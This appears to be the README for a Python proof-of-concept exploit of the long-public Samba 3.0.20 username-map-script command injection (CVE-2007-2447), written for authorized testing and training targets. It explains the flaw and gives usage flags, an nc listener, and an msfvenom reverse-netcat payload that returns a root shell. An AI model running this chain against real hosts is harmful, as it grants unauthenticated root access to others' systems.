
Samba 3.0.20 CVE-2007-2447 Exploit
Python 3 proof-of-concept for CVE-2007-2447, the classic Samba username map script command injection. When Samba is configured with a username map script,
the supplied username is passed to a shell without sanitisation, so a username
containing shell metacharacters is executed on the server. This yields
unauthenticated remote code execution, typically as root.
This is a clean Python 3 reimplementation of a well-known, long-public technique (commonly seen on training targets such as HTB "Lame"). It is not original vulnerability research; it is provided as a readable, dependency-light PoC.
Samba 3.0.20 through 3.0.25rc3 when username map script is enabled in smb.conf.
Tested against Samba 3.0.20.
With username map script set, Samba invokes the configured script with the
client-supplied username as an argument, via a shell, without escaping. A
username of the form /=\`(backtick-delimited) is evaluated by the shell, running` on the server before authentication completes.
pip install impacket)msfvenom (used to build the reverse-netcat payload)nc -lvnp <port>)python3 smb3.0.20_exp.py -t <target-ip> -l <lhost> -p <lport>
| Flag | Description |
|---|---|
-t, --target | Target Samba server IP |
-l, --lhost | Attacker IP address (LHOST) |
-p, --lport | Attacker listening port (LPORT) |
Start a listener (nc -lvnp <lport>) first; the payload is generated with
msfvenom -p cmd/unix/reverse_netcat and delivered through the malicious
username, returning a shell as root.
Unauthenticated remote code execution as root on vulnerable Samba hosts.
For authorized security testing and education only. Use this only against systems you own or have explicit written permission to test. The author accepts no liability for misuse.
Dilanka Kaushal Hewage (r3vpwnx)
MIT - see LICENSE.